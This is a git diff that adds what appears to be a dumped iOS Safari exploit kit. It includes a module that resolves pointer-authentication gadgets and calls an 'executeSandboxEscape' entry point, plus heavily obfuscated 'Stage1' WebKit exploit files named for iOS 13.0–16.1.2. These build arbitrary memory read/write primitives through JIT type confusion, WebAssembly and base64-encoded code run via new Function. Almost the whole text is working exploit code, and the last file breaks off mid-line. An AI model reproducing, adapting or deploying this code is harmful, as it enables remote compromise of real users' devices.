"/System/Library/Frameworks/CoreML.framework/CoreML", + [0xaa0f03e2, 0x528b636d, 0x72a539cd, 0xaa0903ee, 0xd2820371, 0xd71f0991] + + ); + + R = new Offset64(0x101B, 0x0); + + } else { + + // Older systems fallback + s = E( + "/System/Library/Frameworks/MediaToolbox.framework/MediaToolbox", + [0xaa0f03e2, 0xaa0c03e8, 0xd29dce11, 0xd71f0951] + + ); + + R = new Offset64(0xEE70, 0x0); + } + + // Fail if lookup failed + if (s === 0x0) throw new Error("s === 0x0"); + + // Resolve second gadget chain + O = T(s, A.pacia.bind(A), N); + + + // Resolve additional runtime addresses using L + y = T(A.La.Dt().yt(), A.pacda.bind(A), L); + o = T(A.Xa.Dt().yt(), A.pacda.bind(A), L); + c = T(A.Ga.Dt().yt(), A.pacda.bind(A), L); + i = T(A.Ma.Dt().yt(), A.pacda.bind(A), L); + + + // Lookup symbol "dlsym" inside libdyld + const k = M.Jh("/usr/lib/system/libdyld.dylib").dlsym("dlsym"); + + // Construct 64-bit address from JS number + z = new Offset64( + k >>> 0x0, // low 32 bits + k / 0x100000000 >>> 0x0 // high 32 bits + ); + } + return 0 === this.cA.length && (D = 0), B = CA(k, F, 0, N, 2 * this.oA.length, T, E, U, S, L, s, y, o, c, i, K, G, O, R, z, Y, V, H), this.oA + B + this.cA + this.xA + this.OA + this.KA + this.iA; + } +} +// ── Module export ──────────────────────────────────────────────────────── +r.lA = () => {// Entry point: resolves APIs, builds payload, executes sandbox escape + const A = globalThis.moduleManager.getModuleByName("b5135768e043d1b362977b8ba9bff678b9946bcb"); + return A._d(), A.qd(), executeSandboxEscape(); +}; +return r; \ No newline at end of file diff --git a/group.html b/group.html new file mode 100644 index 0000000..a235716 --- /dev/null +++ b/group.html @@ -0,0 +1,598 @@ + + + + + + + + group + + + + + + + + + + + + + + \ No newline at end of file diff --git a/other/README.md b/other/README.md new file mode 100644 index 0000000..60df888 --- /dev/null +++ b/other/README.md @@ -0,0 +1,3 @@ +# Other + +Stores random files like dumped dylib and original files diff --git a/other/Stage1_13.0_15.1.1_buffout.js b/other/Stage1_13.0_15.1.1_buffout.js new file mode 100644 index 0000000..553d908 --- /dev/null +++ b/other/Stage1_13.0_15.1.1_buffout.js @@ -0,0 +1,473 @@ +let r = {}; +const x = globalThis.obChTK.hPL3On(([1, 3, 2, 6, 4, 6, 4, 2, 80, 2, 6, 4, 3, 13, 86, 85, 85, 80, 4, 81, 1, 3, 81, 2, 80, 13, 81, 87, 13, 7, 5, 6, 4, 87, 4, 82, 1, 6, 0, 3].map(x => { + return String.fromCharCode(x ^ 52); + }).join(""))), + { + N: G, + Vt: m, + v: o, + I: u + } = globalThis.obChTK.hPL3On(([87, 85, 84, 80, 82, 80, 82, 84, 6, 84, 80, 82, 85, 91, 0, 3, 3, 6, 82, 7, 87, 85, 7, 84, 6, 91, 7, 1, 91, 81, 83, 80, 82, 1, 82, 4, 87, 80, 86, 85].map(x => { + return String.fromCharCode(x ^ 98); + }).join(""))), + P = globalThis.obChTK.hPL3On(([87, 82, 80, 80, 95, 5, 7, 85, 4, 87, 83, 87, 95, 4, 7, 84, 7, 94, 0, 82, 86, 4, 3, 84, 94, 81, 0, 80, 82, 80, 2, 82, 2, 81, 83, 95, 85, 3, 4, 86].map(x => { + return String.fromCharCode(x ^ 102); + }).join(""))); +class E { + hr(t, r, i = 0) { + let s = ""; + for (let h = 0; h < r; h += 8) { + const r = this.br(t + h + i), + o = this.br(t + h + i + 4); + s += (G(t + h)) + ([96].map(x => { + return String.fromCharCode(x ^ 72) + }).join("")) + (G(h)) + ([93, 78, 84].map(x => { + return String.fromCharCode(x ^ 116) + }).join("")) + (e = r, n = o, ([122, 50].map(x => { + return String.fromCharCode(x ^ 74) + }).join("")) + (n.toString(16)) + ([74, 74, 74, 74, 74, 74, 74, 74].map(x => { + return String.fromCharCode(x ^ 122) + }).join("")) + (e.toString(16)).slice(-8)) + ([123].map(x => { + return String.fromCharCode(x ^ 113) + }).join("")) + } + var e, n + } + wr(t, r, i) { + for (let s = 0; s < i; s += 4) this.dr(t + s, r) + } + gr(t, r, i) { + if (i % 4 != 0) throw new Error(""); + this.yr = !0; + for (let s = 0; s < i; s += 4) this.dr(t.H(s).W(), this.br(r.H(s).W())); + this.yr = !1 + } + ir(t) { + this.yr = !0; + const r = this.br(t.W()); + return this.yr = !1, r + } + Ur(t) { + this.yr = !0; + const r = this.br(t.W()), + i = this.br(t.H(4).W()); + return this.yr = !1, new x.Vt(r, i) + } + mr(t) { + this.yr = !0; + const r = this.br(t.W()), + i = this.br(t.H(4).W()); + return this.yr = !1, x.T(r, i) + } + Ar(t) { + const r = t.it % 4; + t = t.Bt(r), this.yr = !0; + const i = this.br(t.W()) >> 8 * r & (1129144169 ^ 1129144214); + return this.yr = !1, i + } + Tr(t, r = (863070819 ^ 863071075)) { + let i = ""; + for (; i.length < r;) { + const r = this.Ar(t.H(i.length)); + if (0 === r) break; + i += String.fromCharCode(r) + } + return i + } + Pr(t, r) { + let i = ""; + for (; i.length < r;) { + const r = this.Ar(t.H(i.length)); + i += String.fromCharCode(r) + } + return i + } + Sr(t) { + const r = t % 4; + let i; + return i = !0 === this.yr ? x.q(t, -r) : t - r, this.br(i) >> 8 * r & (1362710317 ^ 1362710482) + } + nr(t) { + const r = this.br(t), + i = this.br(t + 4); + if (i > o) throw new Error(""); + return x.T(r, i) + } + Dr(t, r = !1) { + const i = this.br(t); + let s = this.br(t + 4); + return (!0 === r || globalThis.obChTK.hPL3On(([116, 113, 115, 115, 124, 38, 36, 118, 39, 116, 112, 116, 124, 39, 36, 119, 36, 125, 35, 113, 117, 39, 32, 119, 125, 114, 35, 115, 113, 115, 33, 113, 33, 114, 112, 124, 118, 32, 39, 117].map(x => { + return String.fromCharCode(x ^ 69); + }).join(""))).zn.Nn.zohDDd) && (s &= o), x.T(i, s) + } + rr(t) { + const r = this.br(t), + i = this.br(t + 4); + return new x.Vt(r, i) + } + Er(t, r = (960982349 ^ 960982093)) { + let i = (1665430874 ^ 482052773); + ([0, 27, 3, 12, 11, 28].map(x => { + return String.fromCharCode(x ^ 110); + }).join("")) == typeof r && (i = r); + let s = ""; + for (; s.length < i;) { + const r = this.Sr(t + s.length); + if (0 === r) break; + s += String.fromCharCode(r) + } + return s + } + Nr(t, r) { + let i = ""; + for (; i.length < r;) { + const r = this.Sr(t + i.length); + i += String.fromCharCode(r) + } + return i + } + tr(t) { + this._r.a = t; + const r = this.nr(this.Wr); + return this._r.a = null, r + } + pr(t) { + const r = new DataView(new ArrayBuffer(t.length + 1)); + x.D(r); + for (let i = 0; i < t.length; i++) r.setUint8(i, t.charCodeAt(i)); + return this.Mr(r) + } + Or(t, r = !1) { + const i = new ArrayBuffer(t), + s = new Uint8Array(i); + x.D(i); + const e = this.tr(s), + n = this.Dr(e + globalThis.obChTK.hPL3On(([86, 83, 81, 81, 94, 4, 6, 84, 5, 86, 82, 86, 94, 5, 6, 85, 6, 95, 1, 83, 87, 5, 2, 85, 95, 80, 1, 81, 83, 81, 3, 83, 3, 80, 82, 94, 84, 2, 5, 87].map(x => { + return String.fromCharCode(x ^ 103); + }).join(""))).zn.Nn.oGn3OG); + if (!0 === r) { + const t = this.tr(i), + r = this.Dr(t + globalThis.obChTK.hPL3On(([75, 78, 76, 76, 67, 25, 27, 73, 24, 75, 79, 75, 67, 24, 27, 72, 27, 66, 28, 78, 74, 24, 31, 72, 66, 77, 28, 76, 78, 76, 30, 78, 30, 77, 79, 67, 73, 31, 24, 74].map(x => { + return String.fromCharCode(x ^ 122); + }).join(""))).zn.Nn.CN3rr_); + let s = this.br(r + globalThis.obChTK.hPL3On(([75, 78, 76, 76, 67, 25, 27, 73, 24, 75, 79, 75, 67, 24, 27, 72, 27, 66, 28, 78, 74, 24, 31, 72, 66, 77, 28, 76, 78, 76, 30, 78, 30, 77, 79, 67, 73, 31, 24, 74].map(x => { + return String.fromCharCode(x ^ 122); + }).join(""))).zn.Nn.EMDU4o); + s += 32, this.dr(r + globalThis.obChTK.hPL3On(([85, 80, 82, 82, 93, 7, 5, 87, 6, 85, 81, 85, 93, 6, 5, 86, 5, 92, 2, 80, 84, 6, 1, 86, 92, 83, 2, 82, 80, 82, 0, 80, 0, 83, 81, 93, 87, 1, 6, 84].map(x => { + return String.fromCharCode(x ^ 100); + }).join(""))).zn.Nn.EMDU4o, s) + } + return n + } + Mr(t, r = !1) { + t instanceof ArrayBuffer && (t = new Int8Array(t)); + const i = this.tr(t); + return this.Dr(i + globalThis.obChTK.hPL3On(([72, 77, 79, 79, 64, 26, 24, 74, 27, 72, 76, 72, 64, 27, 24, 75, 24, 65, 31, 77, 73, 27, 28, 75, 65, 78, 31, 79, 77, 79, 29, 77, 29, 78, 76, 64, 74, 28, 27, 73].map(x => { + return String.fromCharCode(x ^ 121); + }).join(""))).zn.Nn.oGn3OG, r) + } + Br(t, ...r) { + const i = new Array(r.length + 10); + for (let t = 0; t < r.length; t++) i[t] = this.rr(r[t].Ir); + try { + for (let t = 0; t < r.length; t++) this.Jr(r[t].Ir, r[t].Zt); + t() + } finally { + for (let t = 0; t < r.length; t++) this.Jr(r[t].Ir, i[t]) + } + } + constructor(t, r, i, s) { + const e = new Uint8Array([0, 97, (1682982991 ^ 1682982972), (1886218801 ^ 1886218844), 1, 0, 0, 0, 1, 17, 4, 96, 0, 1, (1313567566 ^ 1313567538), 96, 1, (1685473392 ^ 1685473292), 0, 96, 0, 1, (912485953 ^ 912485950), 96, 1, (1346716738 ^ 1346716733), 0, 3, 5, 4, 0, 1, 2, 3, 4, 4, 1, (1899447926 ^ 1899447814), 0, 1, 6, 27, 3, (1194619715 ^ 1194619709), 1, 66, (1097300330 ^ 1097300441), (1968387412 ^ 1968387472), (1315793976 ^ 1315794172), (1917281866 ^ 1917281938), 11, 11, (1766807890 ^ 1766807853), 1, 65, (1868981037 ^ 1868981176), (1163414130 ^ 1163414239), (1769355609 ^ 1769355655), (1817592674 ^ 1817592742), (1178166578 ^ 1178166603), 11, (1664299843 ^ 1664299836), 1, 65, (1312319557 ^ 1312319734), (961770600 ^ 961770668), (1968457266 ^ 1968457462), 25, 11, 7, 17, 4, 1, 97, 0, 0, 1, 98, 0, 1, 1, 99, 0, 2, 1, (1481205037 ^ 1481205065), 0, 3, 10, 27, 4, 5, 0, 35, 0, (1851095350 ^ 1851095433), 11, 7, 0, 32, 0, (1194473016 ^ 1194473093), 36, 0, 11, 4, 0, 35, 1, 11, 6, 0, 32, 0, 36, 1, 11]).buffer, + n = new WebAssembly.Module(e, {}), + h = new WebAssembly.Instance(n, {}), + o = new WebAssembly.Instance(n, {}); + this.Vr = h, this.Cr = o, this.Kr = "a", this.Xr = "b", this.vr = "c", this.Hr = "d", this.$r = new ArrayBuffer(8), this.Gr = new Uint32Array(this.$r), this._r = { + a: !1 + }, this.Wr = 0, this.yr = !1; + for (let t = 0; t < 22; t++) this.Vr.exports[this.vr](0), this.Vr.exports[this.Hr](0, 0), this.Vr.exports[this.Kr](0), this.Vr.exports[this.Xr](0, 0); + const a = r => { + r[0] = 1; + const s = t(r); + return i(s + globalThis.obChTK.hPL3On(([89, 92, 94, 94, 81, 11, 9, 91, 10, 89, 93, 89, 81, 10, 9, 90, 9, 80, 14, 92, 88, 10, 13, 90, 80, 95, 14, 94, 92, 94, 12, 92, 12, 95, 93, 81, 91, 13, 10, 88].map(x => { + return String.fromCharCode(x ^ 104); + }).join(""))).zn.Nn.zpy6Mu) + globalThis.obChTK.hPL3On(([71, 66, 64, 64, 79, 21, 23, 69, 20, 71, 67, 71, 79, 20, 23, 68, 23, 78, 16, 66, 70, 20, 19, 68, 78, 65, 16, 64, 66, 64, 18, 66, 18, 65, 67, 79, 69, 19, 20, 70].map(x => { + return String.fromCharCode(x ^ 118); + }).join(""))).zn.Nn.xK8SW0 + }, + c = a(o), + f = a(h); + this.Yr = -8, this.Zr = 0, this.jr = i(c), this.kr = c, r(c, f + this.Zr), this.Qr = this.Cr.exports[this.Kr](), this.Wr = t(this._r) + globalThis.obChTK.hPL3On(([89, 92, 94, 94, 81, 11, 9, 91, 10, 89, 93, 89, 81, 10, 9, 90, 9, 80, 14, 92, 88, 10, 13, 90, 80, 95, 14, 94, 92, 94, 12, 92, 12, 95, 93, 81, 91, 13, 10, 88].map(x => { + return String.fromCharCode(x ^ 104); + }).join(""))).zn.Nn.fGOrHX, s() + } + zr() { + const t = JSON.parse(([51, 88, 53].map(x => { + return String.fromCharCode(x ^ 104); + }).join(""))), + r = JSON.parse(([56, 83, 77, 82, 79, 67, 83, 77, 82, 79, 67, 83, 77, 82, 79, 67, 83, 77, 82, 79, 67, 83, 77, 82, 79, 67, 83, 77, 82, 79, 67, 83, 77, 82, 79, 67, 83, 77, 82, 79, 67, 83, 77, 82, 79, 67, 83, 77, 82, 79, 67, 83, 77, 82, 79, 67, 83, 77, 82, 79, 67, 83, 77, 82, 62].map(x => { + return String.fromCharCode(x ^ 99); + }).join(""))); + t[0] = !1, r[0] = 1.2; + const i = { + Fr: .1, + Lr: .2, + Rr: .3, + qr: .4 + }, + s = this.tr(i), + e = this.tr(r), + n = this.tr(t), + h = this.nr(e + 8), + o = this.nr(n + 8); + for (let t = 0; t < 16; t += 4) this.dr(s + 20 + t, this.br(e + t)); + const a = x.C(i.Lr); + this.ti(o, s + 20); + const c = t[0]; + t[0] = void 0, i.Lr = x.Y(a, x._(this.kr) - P.zn.Fn), i.Rr = x.Y(x.F(this.kr), (1932555622 ^ 1933232568)), this.Cr.exports[this.Xr](this.Qr), c[0] = x.J(this.jr), i.Lr = x.Y(a, x._(h) - P.zn.Fn), i.Rr = x.Y(x.F(h), (1802856259 ^ 1803541405)) + } + br(t) { + return this.ri(t), this.Vr.exports[this.vr](0) >>> 0 + } + dr(t, r) { + this.ri(t), this.Vr.exports[this.Hr](0 | r) + } + ti(t, r) { + this.dr(t, r >>> 0), this.dr(t + 4, r / 4294967296 >>> 0) + } + Jr(t, r) { + this.dr(t, r.it), this.dr(t + 4, r.et) + } + write32x2(t, r, i) { + this.dr(t, r), this.dr(t + 4, i) + } + ri(t) { + if (!1 === this.yr) { + if (t < (1178892908 ^ 1178958444) || t != t) throw new Error(""); + this.Cr.exports[this.Xr](x.J(t + this.Yr)) + } else this.Cr.exports[this.Xr](x.q(t, this.Yr)) + } +} +return r.si = function() { + let t = new Array((1198673506 ^ 1198673906)); + t.fill([]); + const r = new ArrayBuffer(64), + i = new Uint32Array(r), + s = new Float64Array(r), + e = (t, r) => (t = Math.ceil(t), r = Math.ceil(r), Math.floor(Math.random() * (r - t) + t)), + n = e(1, 8) << 8 | e(1, 8) << 4 | e(1, 8) << 0, + h = e(1, (1953917522 ^ 1955173805)), + a = (t, r) => { + if (t > (963410543 ^ 963413392) || t < 0) throw new Error(""); + if (r > (1682133583 ^ 1682133680) || r < 0) throw new Error(""); + i[1] = n << 20 | 4 << 16 | t, i[0] = r << 24 | h; + const e = s[0]; + if (!0 === isNaN(e)) throw new Error(""); + return e + }; + let c = null, + f = 0, + l = null, + b = !1, + u = -1, + w = -1; + const d = new Function("t", "e", "r", "f", "n", "i", "o", "s", "u", "c", atob("Y29uc3QgbD10O2xldCBhPWU7Y29uc3QgYj1mO2NvbnN0IGs9bjtjb25zdCBkPWk7Y29uc3QgZz1sLmxlbmd0aDtmb3IobGV0IHQ9MDt0PDI7dCsrKXtpZihiPT09dHJ1ZSl7aWYoIShhPT09LTIxNDc0ODM2NDgpKXJldHVybi0xfWVsc2UgaWYoIShhPjIxNDc0ODM2NDcpKXJldHVybi0yO2lmKGs9PT0wKWE9MDtpZihhPGcpe2lmKGshPT0wKWEtPTIxNDc0ODM2NDctNztpZihhPDApcmV0dXJuLTM7bGV0IHQ9bFthXTtpZihkKXtsW2FdPXI7aWYodT09PTApdD1vW3NdWzBdO2Vsc2Ugb1tzXVswXT1jfXJldHVybiB0fWlmKHQ+MClicmVha31yZXR1cm4tNA==")), + g = new Array(16).fill([]).map(((t, r) => { + const i = JSON.parse(([11, 11, 97, 126, 97, 124, 112, 97, 126, 98, 13, 124, 112, 11, 97, 126, 98, 124, 112, 97, 126, 99, 13, 124, 112, 11, 97, 126, 99, 124, 112, 99, 126, 100, 13, 13].map(x => { + return String.fromCharCode(x ^ 80); + }).join(""))); + for (const t of i) t[0] = .1 + r, t["a" + r] = r; + return i + })), + y = t.length / 2 >>> 0; + t = t.map(((t, r) => { + const i = JSON.parse(([40, 67, 93, 66, 95, 83, 67, 93, 64, 95, 83, 66, 93, 66, 95, 83, 65, 93, 64, 46].map(x => { + return String.fromCharCode(x ^ 115); + }).join(""))); + if (i[0] = .1 + r, r !== y) { + i[0] = []; + for (const t in i) 0 !== t && (i[t] = a(r, t)) + } + return i + })); + const U = t[y]; + for (let t = 0; t < (1967745881 ^ 1967532313); t++) c = U, l = t % 2 != 0 ? .1 : .2, f = -(4294967296 + (1868837733 ^ -278645915)), u = !0, w = 0, d(c, f, l, u, w, !0, g[t % g.length], 0, t % 2, .1 + t), f = (1970616119 ^ 176867528) - t % 3, u = !(1 & t), w = 0 + t % 3, d(c, f, l, u, w, !1, g[t % g.length], 0, t % 2, .1 + t); + c = U, f = -(4294967296 + (1131836515 ^ -1015647133)), u = !0, w = 1, l = !0, b = !1; + const A = d(c, -(4294967296 + (1835162183 ^ -312321465)), l, u, w, !1, g[0], 0, 0, 0), + T = (S = A, s[0] = S, { + ei: i[1] >> 20 & (1886273876 ^ 1886277291), + ni: i[1] >> 16 & 15, + hi: (1414165553 ^ 1414171598) & i[1], + oi: i[0] >> 24 & (1432440433 ^ 1432440462), + ai: (1365601399 ^ 1369084808) & i[0] + }); + var S; + if (T.ei !== n) throw new Error(""); + if (T.ai !== h) throw new Error(""); + const D = (1768516673 ^ 1768451137) * (T.ni - 4); + P.zn.Fn = D; + const N = x.Z(1, 0, 34, 7), + _ = { + a: .1, + b: .2, + c: .3, + d: .4 + }; + t[T.hi][T.oi] = _; + let W = d(c, -(4294967296 + (858804079 ^ -1288679569)), l, u, w, !1, g[0], 0, 0, 0); + const p = x.P(W) + 20, + M = x.J(p), + O = JSON.parse(([24, 114, 109, 113, 111, 99, 112, 109, 119, 111, 99, 123, 109, 112, 30].map(x => { + return String.fromCharCode(x ^ 67); + }).join(""))); + t[T.hi][T.oi] = O, W = d(c, -(4294967296 + (1715885637 ^ -431598011)), l, u, w, !1, g[0], 0, 0, 0); + x.P(W); + const B = new E((r => { + t[T.hi][T.oi] = r; + const i = d(c, -(4294967296 + (1766343728 ^ -381139920)), l, u, w, !1, g[0], 0, 0, 0); + return t[T.hi][T.oi] = void 0, x.P(i) + }), ((r, i) => { + const s = x.F(r), + e = x._(r); + _.b = x.Y(N, e - D), _.c = x.Y(s, (1298362994 ^ 1298959757)); + const n = x.J(i); + d(c, -(4294967296 + (1481985378 ^ -665498270)), M, u, w, !0, t[T.hi], T.oi, 1, n), d(c, -(4294967296 + (1095856432 ^ -1051627216)), M, u, w, !0, g[0], 0, 0, .1), t[T.hi][T.oi] = void 0 + }), (r => { + const i = x.F(r), + s = x._(r); + _.b = x.Y(N, s - D), _.c = x.Y(i, (845563497 ^ 845789590)); + const e = d(c, -(4294967296 + (1432711012 ^ -714772636)), M, u, w, !0, t[T.hi], T.oi, 0, 0); + return d(c, -(4294967296 + (1667786836 ^ -479696812)), M, u, w, !0, g[0], 0, 0, .1), t[T.hi][T.oi] = void 0, x.P(e) + }), (() => {})); + { + const t = JSON.parse(([12, 102, 121, 103, 123, 119, 102, 121, 101, 123, 119, 102, 121, 100, 10].map(x => { + return String.fromCharCode(x ^ 87); + }).join(""))), + r = B.tr(t); + ((t, ...r) => { + let i = 0; + for (const s of r) { + if (B.br(t + i) !== s) throw new Error(""); + i += 4 + } + })(B.nr(r + 8), 0, (897216598 ^ 176844886), (963209808 ^ 173693283), (1632252785 ^ 1589182530), (4294967296 + (2037070182 ^ -1247283797)), (1446009196 ^ 1774491040)) + } { + const t = new ArrayBuffer((1714447693 ^ 1714447437)), + r = new DataView(t), + i = B.Mr(t, !0); + for (let s = 0; s < (1899253850 ^ 1899696666); s++) { + const n = e(0, (926041398 ^ 953006793)), + h = e(0, t.byteLength - 4); + if (s % 2 == 0) { + if (B.dr(i + h, n), r.getUint32(h, !0) !== n) throw 0 + } else if (r.setUint32(h, n, !0), B.br(i + h) !== n) throw 0 + } + } + P.zn.Xn = B; + const I = new Uint32Array(4); + class J { + constructor(t, r) { + if (t < 0 || t > (4294967296 + (1416911217 ^ -1416911218))) throw new Error(""); + if (r < 0 || r > (4294967296 + (1329677151 ^ -1329677152))) throw new Error(""); + this.ci = t, this.fi = r + } + static null() { + return new J(0, 0) + } + static li(t) { + const r = P.zn.Xn.tr(t); + return J.ut(r) + } + static bi(t) { + const r = P.zn.Xn.Mr(t); + return J.ut(r) + } + static ut(t) { + return new J(t >>> 0, t / 4294967296 >>> 0) + } + static L(t) { + return new J(x.C(t), x.V(t)) + } + static ui(t) { + return new J(t, 0) + } + static wi(t, r) { + return new J(t, r) + } + di() { + return 4294967296 * this.fi + this.ci + } + gi() { + return new m(this.ci, this.fi) + } + yi() { + if (0 !== this.fi) throw new Error(""); + return this.ci + } + nr() { + const t = P.zn.Xn.br(this.di()), + r = P.zn.Xn.br(this.di() + 4); + return new J(t, r) + } + Er(t = (1867662180 ^ 1867662080)) { + return P.zn.Xn.Er(this.di(), t) + } + ti(t) { + P.zn.Xn.dr(this.di(), t.ci), P.zn.Xn.dr(this.di() + 4, t.fi) + } + Ui(t) { + P.zn.Xn.dr(this.di(), t) + } + mi() { + return P.zn.Xn.br(this.di()) + } + Ai() { + return this.fi > o + } + Ti() { + return 0 === this.ci && 0 === this.fi + } + lt(t) { + return this.ci === t.ci && this.fi === t.fi + } + Pi(t) { + return this.fi === t.fi ? this.ci >= t.ci : this.fi >= t.fi + } + Si(t) { + return this.fi === t.fi ? this.ci <= t.ci : this.fi <= t.fi + } + add(t) { + if (t instanceof J == !1) throw new Error(""); + if (I[0] = this.ci, I[1] = this.ci + t.ci, I[2] = this.fi, I[3] = this.fi + t.fi, I[1] < I[0] && (I[3] += 1), I[3] < I[2]) throw new Error(""); + return new J(I[1], I[3]) + } + sub(t) { + if (t instanceof J == !1) throw new Error(""); + if (I[0] = this.ci, I[1] = this.ci - t.ci, I[2] = this.fi, I[3] = this.fi - t.fi, I[1] > I[0] && (I[3] -= 1), I[2] < I[3]) throw new Error(""); + return new J(I[1], I[3]) + } + H(t) { + return this.add(J.ui(t)) + } + Bt(t) { + return this.sub(J.ui(t)) + } + Di() { + return this.ci + } + Ei() { + return this.fi + } + Dt() { + return new J(this.ci, this.fi & o) + } + toString() { + let t = this.ci.toString(16); + return this.fi && (t = (this.fi.toString(16)) + ((([93, 93, 93, 93, 93, 93, 93, 93].map(x => { + return String.fromCharCode(x ^ 109); + }).join("")) + t).slice(-8))), ([4, 76].map(x => { + return String.fromCharCode(x ^ 52) + }).join("")) + (t) + } + } + P.zn.Ln = J +}, r; \ No newline at end of file diff --git a/other/Stage1_15.6_16.1.2_bluebird.js b/other/Stage1_15.6_16.1.2_bluebird.js new file mode 100644 index 0000000..4a67840 --- /dev/null +++ b/other/Stage1_15.6_16.1.2_bluebird.js @@ -0,0 +1,1330 @@ +let r = {}; +const x = globalThis.obChTK.hPL3On(([88, 90, 91, 95, 93, 95, 93, 91, 9, 91, 95, 93, 90, 84, 15, 12, 12, 9, 93, 8, 88, 90, 8, 91, 9, 84, 8, 14, 84, 94, 92, 95, 93, 14, 93, 11, 88, 95, 89, 90].map(x => { + return String.fromCharCode(x ^ 109); +}).join(""))), + { + N: G, + Vt: m, + v: o + } = globalThis.obChTK.hPL3On(([120, 122, 123, 127, 125, 127, 125, 123, 41, 123, 127, 125, 122, 116, 47, 44, 44, 41, 125, 40, 120, 122, 40, 123, 41, 116, 40, 46, 116, 126, 124, 127, 125, 46, 125, 43, 120, 127, 121, 122].map(x => { + return String.fromCharCode(x ^ 77); + }).join(""))), + P = globalThis.obChTK.hPL3On(([69, 64, 66, 66, 77, 23, 21, 71, 22, 69, 65, 69, 77, 22, 21, 70, 21, 76, 18, 64, 68, 22, 17, 70, 76, 67, 18, 66, 64, 66, 16, 64, 16, 67, 65, 77, 71, 17, 22, 68].map(x => { + return String.fromCharCode(x ^ 116); + }).join(""))); +class k { + constructor(t) { + this.Bi = t, this._r = { + a: !1 + }, this.Wr = 0, this.yr = !1 + } + hr(t, i, n = 0) { + let r = ""; + for (let s = 0; s < i; s += 8) { + const i = this.br(t + s + n), + a = this.br(t + s + n + 4); + r += (G(t + s)) + ([71].map(x => { + return String.fromCharCode(x ^ 111) + }).join("")) + (G(s)) + ([71, 84, 78].map(x => { + return String.fromCharCode(x ^ 110) + }).join("")) + (e = i, o = a, ([87, 31].map(x => { + return String.fromCharCode(x ^ 103) + }).join("")) + (o.toString(16)) + ([121, 121, 121, 121, 121, 121, 121, 121].map(x => { + return String.fromCharCode(x ^ 73) + }).join("")) + (e.toString(16)).slice(-8)) + ([70].map(x => { + return String.fromCharCode(x ^ 76) + }).join("")) + } + var e, o + } + wr(t, i, n) { + for (let r = 0; r < n; r += 4) this.dr(t + r, i) + } + gr(t, i, n) { + if (n % 4 != 0) throw new Error(""); + this.yr = !0; + for (let r = 0; r < n; r += 4) this.dr(t.H(r).W(), this.br(i.H(r).W())); + this.yr = !1 + } + ir(t) { + this.yr = !0; + const i = this.br(t.W()); + return this.yr = !1, i + } + Ur(t) { + this.yr = !0; + const i = this.br(t.W()), + n = this.br(t.H(4).W()); + return this.yr = !1, new m(i, n) + } + mr(t) { + this.yr = !0; + const i = this.br(t.W()), + n = this.br(t.H(4).W()); + return this.yr = !1, x.T(i, n) + } + Ar(t) { + const i = t.it % 4; + t = t.Bt(i), this.yr = !0; + const n = this.br(t.W()) >> 8 * i & (1464496978 ^ 1464497069); + return this.yr = !1, n + } + Tr(t, i = (762274105 ^ 762273849)) { + let n = ""; + for (; n.length < i;) { + const i = this.Ar(t.H(n.length)); + if (0 === i) break; + n += String.fromCharCode(i) + } + return n + } + Pr(t, i) { + let n = ""; + for (; n.length < i;) { + const i = this.Ar(t.H(n.length)); + n += String.fromCharCode(i) + } + return n + } + br(t) { + return -1 + } + Jr(t, i) { } + write32x2(t, i, n) { + this.dr(t, i), this.dr(t + 4, n) + } + ti(t, i) { } + dr(t, i) { } + Sr(t) { + const i = t % 4; + let n; + return n = !0 === this.yr ? x.q(t, -i) : t - i, this.br(n) >> 8 * i & (1198608761 ^ 1198608774) + } + nr(t) { + const i = this.br(t), + n = this.br(t + 4); + if (n > o) throw new Error(""); + return x.T(i, n) + } + Dr(t, i = !1) { + const n = this.br(t); + let r = this.br(t + 4); + return (!0 === i || globalThis.obChTK.hPL3On(([107, 110, 108, 108, 99, 57, 59, 105, 56, 107, 111, 107, 99, 56, 59, 104, 59, 98, 60, 110, 106, 56, 63, 104, 98, 109, 60, 108, 110, 108, 62, 110, 62, 109, 111, 99, 105, 63, 56, 106].map(x => { + return String.fromCharCode(x ^ 90); + }).join(""))).zn.Nn.zohDDd) && (r &= o), x.T(n, r) + } + rr(t) { + const i = this.br(t), + n = this.br(t + 4); + return new m(i, n) + } + Er(t, i = (1665348973 ^ 1665348717)) { + let n = (812406617 ^ 1335077030); + ([88, 67, 91, 84, 83, 68].map(x => { + return String.fromCharCode(x ^ 54); + }).join("")) == typeof i && (n = i); + let r = ""; + for (; r.length < n;) { + const i = this.Sr(t + r.length); + if (0 === i) break; + r += String.fromCharCode(i) + } + return r + } + Nr(t, i) { + let n = ""; + for (; n.length < i;) { + const i = this.Sr(t + n.length); + n += String.fromCharCode(i) + } + return n + } + tr(t) { + this._r.a = t; + const i = this.nr(this.Wr); + return this._r.a = null, i + } + zr() { } + pr(t) { + const i = new DataView(new ArrayBuffer(t.length + 1)); + x.D(i); + for (let n = 0; n < t.length; n++) i.setUint8(n, t.charCodeAt(n)); + return this.Mr(i) + } + Or(t, i = !1) { + const n = new ArrayBuffer(t), + r = new Uint8Array(n); + x.D(n); + const e = this.tr(r), + o = this.Dr(e + globalThis.obChTK.hPL3On(([82, 87, 85, 85, 90, 0, 2, 80, 1, 82, 86, 82, 90, 1, 2, 81, 2, 91, 5, 87, 83, 1, 6, 81, 91, 84, 5, 85, 87, 85, 7, 87, 7, 84, 86, 90, 80, 6, 1, 83].map(x => { + return String.fromCharCode(x ^ 99); + }).join(""))).zn.Nn.oGn3OG); + if (!0 === i) { + const t = this.tr(n), + i = this.Dr(t + globalThis.obChTK.hPL3On(([2, 7, 5, 5, 10, 80, 82, 0, 81, 2, 6, 2, 10, 81, 82, 1, 82, 11, 85, 7, 3, 81, 86, 1, 11, 4, 85, 5, 7, 5, 87, 7, 87, 4, 6, 10, 0, 86, 81, 3].map(x => { + return String.fromCharCode(x ^ 51); + }).join(""))).zn.Nn.CN3rr_); + let r = this.br(i + globalThis.obChTK.hPL3On(([65, 68, 70, 70, 73, 19, 17, 67, 18, 65, 69, 65, 73, 18, 17, 66, 17, 72, 22, 68, 64, 18, 21, 66, 72, 71, 22, 70, 68, 70, 20, 68, 20, 71, 69, 73, 67, 21, 18, 64].map(x => { + return String.fromCharCode(x ^ 112); + }).join(""))).zn.Nn.EMDU4o); + r += 32, this.dr(i + globalThis.obChTK.hPL3On(([93, 88, 90, 90, 85, 15, 13, 95, 14, 93, 89, 93, 85, 14, 13, 94, 13, 84, 10, 88, 92, 14, 9, 94, 84, 91, 10, 90, 88, 90, 8, 88, 8, 91, 89, 85, 95, 9, 14, 92].map(x => { + return String.fromCharCode(x ^ 108); + }).join(""))).zn.Nn.EMDU4o, r) + } + return o + } + Mr(t, i = !1) { + t instanceof ArrayBuffer && (t 